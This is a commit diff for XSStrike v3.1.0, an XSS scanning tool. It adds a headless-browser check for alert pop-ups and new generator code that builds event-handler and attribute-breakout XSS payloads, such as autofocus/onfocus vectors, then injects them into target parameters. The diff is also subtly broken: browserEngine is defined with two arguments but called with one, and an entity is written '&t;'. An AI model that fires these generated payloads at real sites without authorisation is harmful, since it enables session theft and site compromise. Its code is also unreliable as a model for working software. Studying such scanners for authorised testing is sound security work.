v3.1.0
- Browser engine integration for zero false positives - Coverage of event handler context - Bug fixes
This commit is contained in:
@@ -1,4 +1,7 @@
|
||||
language: python
|
||||
cache: pip
|
||||
addons:
|
||||
firefox: "45.4.0esr"
|
||||
os:
|
||||
- linux
|
||||
python:
|
||||
@@ -7,7 +10,11 @@ install:
|
||||
- pip install -r requirements.txt
|
||||
- pip install flake8
|
||||
before_script:
|
||||
# stop the build if there are Python syntax errors or undefined names
|
||||
# download and extract geckodrive to /usr/local/bin
|
||||
- wget https://github.com/mozilla/geckodriver/releases/download/v0.23.0/geckodriver-v0.23.0-linux64.tar.gz
|
||||
- mkdir geckodriver
|
||||
- tar -xzf geckodriver-v0.23.0-linux64.tar.gz -C geckodriver
|
||||
- export PATH=$PATH:$PWD/geckodriver # stop the build if there are Python syntax errors or undefined names
|
||||
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
|
||||
# exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
|
||||
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
|
||||
|
||||
28
core/browserEngine.py
Normal file
28
core/browserEngine.py
Normal file
@@ -0,0 +1,28 @@
|
||||
import re
|
||||
import os
|
||||
import sys
|
||||
from core.config import xsschecker
|
||||
from core.utils import writer
|
||||
from selenium import webdriver
|
||||
from selenium.webdriver.firefox.options import Options
|
||||
from selenium.common.exceptions import UnexpectedAlertPresentException
|
||||
|
||||
def browserEngine(url, response):
|
||||
options = Options()
|
||||
options.add_argument('--headless')
|
||||
browser = webdriver.Firefox(options=options)
|
||||
response = re.sub(r'<script.*?src=.*?>', '<script src=#>', response, re.I)
|
||||
response = re.sub(r'href=.*?>', 'href=#>', response, re.I)
|
||||
writer(response, 'test.html')
|
||||
browser.get('file://' + sys.path[0] + '/test.html')
|
||||
os.remove('test.html')
|
||||
popUp = False
|
||||
actions = webdriver.ActionChains(browser)
|
||||
try:
|
||||
actions.move_by_offset(2, 2)
|
||||
actions.perform()
|
||||
browser.close()
|
||||
except UnexpectedAlertPresentException:
|
||||
popUp = True
|
||||
browser.quit()
|
||||
return popUp
|
||||
@@ -1,4 +1,4 @@
|
||||
changes = '''ability to load seeds from file;show parameter name while bruteforcing;fixed payload display while using POST method'''
|
||||
changes = '''browser engine integration for zero false positives;coverage of event handler context;bug fixes'''
|
||||
|
||||
defaultEditor = 'nano'
|
||||
blindPayload = '' # your blind XSS payload
|
||||
|
||||
@@ -11,13 +11,17 @@ def filterChecker(url, params, headers, GET, delay, occurences, timeout, encodin
|
||||
for i, occurence in zip(range(len(occurences)), occurences.values()):
|
||||
environments.add(occurence['context'][1])
|
||||
location = occurence['context'][0]
|
||||
attribute = occurence['context'][3]
|
||||
try:
|
||||
attributeName = list(occurence['context'][3].keys())[0]
|
||||
attributeValue = list(occurence['context'][3].values())[0]
|
||||
except AttributeError:
|
||||
attributeName = occurence['context'][3]
|
||||
positions[str(i)] = occurence['position']
|
||||
if location == 'comment':
|
||||
environments.add('-->')
|
||||
elif location == 'script':
|
||||
environments.add('</scRipT/>')
|
||||
elif attribute == 'srcdoc': # srcdoc attribute accepts html data with html entity encoding
|
||||
elif attributeName == 'srcdoc': # srcdoc attribute accepts html data with html entity encoding
|
||||
environments.add('<') # so let's add the html entity
|
||||
environments.add('>') # encoded versions of < and >
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
from core.config import badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions
|
||||
from core.config import xsschecker, badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions
|
||||
from core.jsContexter import jsContexter
|
||||
from core.utils import randomUpper as r, genGen, extractScripts
|
||||
|
||||
@@ -12,7 +12,11 @@ def generator(occurences, response):
|
||||
context = occurences[i]['context'][0]
|
||||
breaker = occurences[i]['context'][1]
|
||||
special = occurences[i]['context'][2]
|
||||
attribute = occurences[i]['context'][3]
|
||||
try:
|
||||
attributeName = list(occurences[i]['context'][3].keys())[0]
|
||||
attributeValue = list(occurences[i]['context'][3].values())[0]
|
||||
except AttributeError:
|
||||
attributeName = occurences[i]['context'][3]
|
||||
if special not in badTags:
|
||||
special = ''
|
||||
elif context == 'attribute':
|
||||
@@ -35,6 +39,7 @@ def generator(occurences, response):
|
||||
for payload in payloads:
|
||||
vectors[10].add(payload)
|
||||
elif context == 'attribute':
|
||||
found = False
|
||||
breakerEfficiency = occurences[i]['score'][breaker]
|
||||
greatBracketEfficiency = occurences[i]['score']['>']
|
||||
ends = ['//']
|
||||
@@ -48,28 +53,62 @@ def generator(occurences, response):
|
||||
payload = payload.replace(breaker, breaker + '>')
|
||||
else:
|
||||
payload = '>' + payload
|
||||
vectors[10].add(payload)
|
||||
found = True
|
||||
vectors[6].add(payload)
|
||||
if breakerEfficiency == 100:
|
||||
for filling in fillings:
|
||||
for function in functions:
|
||||
vector = breaker + filling + 'auTOfOcuS' + \
|
||||
filling + 'OnFoCUs' + '=' + breaker + function
|
||||
found = True
|
||||
vectors[6].add(vector)
|
||||
if breakerEfficiency == 90:
|
||||
for filling in fillings:
|
||||
for function in functions:
|
||||
vector = '\\' + breaker + filling + 'auTOfOcuS' + filling + \
|
||||
'OnFoCUs' + '=' + function + filling + '\\' + breaker
|
||||
found = True
|
||||
vectors[6].add(vector)
|
||||
if attribute == 'srcdoc':
|
||||
if attributeName == 'srcdoc':
|
||||
if occurences[i]['score']['<']:
|
||||
if occurences[i]['score']['>']:
|
||||
del ends[:]
|
||||
ends.append('&t;')
|
||||
ends.append('%26gt;')
|
||||
payloads = genGen(
|
||||
fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, '', '')
|
||||
for payload in payloads:
|
||||
vectors[10].add(payload.replace('<', '<'))
|
||||
found = True
|
||||
vectors[9].add(payload.replace('<', '%26lt;'))
|
||||
if attributeName.startswith('on'):
|
||||
closer = jsContexter(attributeValue)
|
||||
breaker = ''
|
||||
for char in attributeValue.split(xsschecker)[1]:
|
||||
if char in ['\'', '"', '`']:
|
||||
breaker = char
|
||||
break
|
||||
if closer:
|
||||
suffix = '//\\'
|
||||
for filling in jFillings:
|
||||
for function in functions:
|
||||
vector = breaker + closer + filling + function + suffix
|
||||
if found:
|
||||
vectors[7].add(vector)
|
||||
else:
|
||||
vectors[9].add(vector)
|
||||
elif breakerEfficiency > 83:
|
||||
suffix = '//'
|
||||
for filling in jFillings:
|
||||
for function in functions:
|
||||
if '=' in function:
|
||||
function = '(' + function + ')'
|
||||
if breaker == '':
|
||||
filling = ''
|
||||
vector = '\\' + breaker + closer + filling + function + suffix
|
||||
if found:
|
||||
vectors[7].add(vector)
|
||||
else:
|
||||
vectors[9].add(vector)
|
||||
|
||||
elif context == 'comment':
|
||||
lessBracketEfficiency = occurences[i]['score']['<']
|
||||
greatBracketEfficiency = occurences[i]['score']['>']
|
||||
@@ -83,13 +122,13 @@ def generator(occurences, response):
|
||||
for payload in payloads:
|
||||
vectors[10].add(payload)
|
||||
elif context == 'script':
|
||||
try:
|
||||
script = scripts[index]
|
||||
except IndexError:
|
||||
if scripts:
|
||||
try:
|
||||
script = scripts[index]
|
||||
except IndexError:
|
||||
script = scripts[0]
|
||||
except:
|
||||
continue
|
||||
else:
|
||||
continue
|
||||
closer = jsContexter(script)
|
||||
scriptEfficiency = occurences[i]['score']['</scRipT/>']
|
||||
greatBracketEfficiency = occurences[i]['score']['>']
|
||||
|
||||
@@ -69,7 +69,11 @@ def htmlParser(response, encoding):
|
||||
for attr in attrs: # iterate over the attribute
|
||||
if xsschecker in attr: # is xsschecker in this attribute?
|
||||
# alright, this is the one we need
|
||||
attributes.append(attr.split('=')[0])
|
||||
attributeName = attr.split('=')[0]
|
||||
attributeValue = ''.join(attr.split('=')[1:])
|
||||
if attributeValue.startswith('\'') or attributeValue.startswith('"'):
|
||||
attributeValue = attributeValue[1:-1]
|
||||
attributes.append({attributeName:attributeValue})
|
||||
break
|
||||
try:
|
||||
# finds the tag "inside" which input is refelcted
|
||||
|
||||
@@ -121,7 +121,7 @@ def genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends,
|
||||
r = randomUpper # randomUpper randomly converts chars of a string to uppercase
|
||||
for tag in tags:
|
||||
if tag == 'd3v' or tag == 'a':
|
||||
bait = 'z'
|
||||
bait = xsschecker
|
||||
else:
|
||||
bait = ''
|
||||
for eventHandler in eventHandlers:
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
import copy
|
||||
import re
|
||||
from urllib.parse import urlparse, quote, unquote
|
||||
|
||||
from core.arjun import arjun
|
||||
from core.browserEngine import browserEngine
|
||||
from core.checker import checker
|
||||
from core.colors import good, bad, end, info, green, run, red, que
|
||||
from core.config import xsschecker, minEfficiency
|
||||
@@ -86,29 +88,51 @@ def scan(target, paramData, verbose, encoding, headers, delay, timeout, skipDOM,
|
||||
progress = 0
|
||||
for confidence, vects in vectors.items():
|
||||
for vect in vects:
|
||||
printVector = vect
|
||||
progress += 1
|
||||
if not GET:
|
||||
print ('%s Progress: %i/%i' % (run, progress, total), end='\r')
|
||||
if confidence == 10:
|
||||
if not GET:
|
||||
vect = unquote(vect)
|
||||
efficiencies = checker(
|
||||
url, paramsCopy, headers, GET, delay, vect, positions, timeout, encoding)
|
||||
if not efficiencies:
|
||||
for i in range(len(occurences)):
|
||||
efficiencies.append(0)
|
||||
bestEfficiency = max(efficiencies)
|
||||
if bestEfficiency == 100 or (vect[0] == '\\' and bestEfficiency >= 95):
|
||||
print(('%s-%s' % (red, end)) * 60)
|
||||
print('%s Payload: %s' % (good, printVector))
|
||||
print('%s Efficiency: %i' % (info, bestEfficiency))
|
||||
print('%s Confidence: %i' % (info, confidence))
|
||||
if not skip:
|
||||
choice = input(
|
||||
'%s Would you like to continue scanning? [y/N] ' % que).lower()
|
||||
if choice != 'y':
|
||||
quit()
|
||||
elif bestEfficiency > minEfficiency:
|
||||
print(('%s-%s' % (red, end)) * 60)
|
||||
print('%s Payload: %s' % (good, printVector))
|
||||
print('%s Efficiency: %i' % (info, bestEfficiency))
|
||||
print('%s Confidence: %i' % (info, confidence))
|
||||
else:
|
||||
if re.search(r'<(a|d3|details)|lt;(a|d3|details)', vect.lower()):
|
||||
continue
|
||||
vect = unquote(vect)
|
||||
efficiencies = checker(
|
||||
url, paramsCopy, headers, GET, delay, vect, positions, timeout, encoding)
|
||||
if not GET:
|
||||
vect = quote(vect)
|
||||
if not efficiencies:
|
||||
for i in range(len(occurences)):
|
||||
efficiencies.append(0)
|
||||
bestEfficiency = max(efficiencies)
|
||||
if bestEfficiency == 100 or (vect[0] == '\\' and bestEfficiency >= 95):
|
||||
print(('%s-%s' % (red, end)) * 60)
|
||||
print('%s Payload: %s' % (good, vect))
|
||||
print('%s Efficiency: %i' % (info, bestEfficiency))
|
||||
print('%s Confidence: %i' % (info, confidence))
|
||||
if not skip:
|
||||
choice = input(
|
||||
'%s Would you like to continue scanning? [y/N] ' % que).lower()
|
||||
if choice != 'y':
|
||||
quit()
|
||||
elif bestEfficiency > minEfficiency:
|
||||
print(('%s-%s' % (red, end)) * 60)
|
||||
print('%s Payload: %s' % (good, vect))
|
||||
print('%s Efficiency: %i' % (info, bestEfficiency))
|
||||
print('%s Confidence: %i' % (info, confidence))
|
||||
if encoding:
|
||||
paramsCopy[paramName] = encoding(vect)
|
||||
else:
|
||||
paramsCopy[paramName] = vect
|
||||
response = requester(url, paramsCopy, headers, GET, delay, timeout).text
|
||||
success = browserEngine(response)
|
||||
if success:
|
||||
print(('%s-%s' % (red, end)) * 60)
|
||||
print('%s Payload: %s' % (good, printVector))
|
||||
print('%s Efficiency: %i' % (info, 100))
|
||||
print('%s Confidence: %i' % (info, 10))
|
||||
if not skip:
|
||||
choice = input(
|
||||
'%s Would you like to continue scanning? [y/N] ' % que).lower()
|
||||
if choice != 'y':
|
||||
quit()
|
||||
print ('')
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
tld
|
||||
fuzzywuzzy
|
||||
requests
|
||||
selenium
|
||||
|
||||
@@ -22,7 +22,7 @@ from modes.singleFuzz import singleFuzz
|
||||
|
||||
# Just a fancy ass banner
|
||||
print('''%s
|
||||
\tXSStrike %sv3.0.5
|
||||
\tXSStrike %sv3.1.0
|
||||
%s''' % (red, white, end))
|
||||
|
||||
try:
|
||||
|
||||
Reference in New Issue
Block a user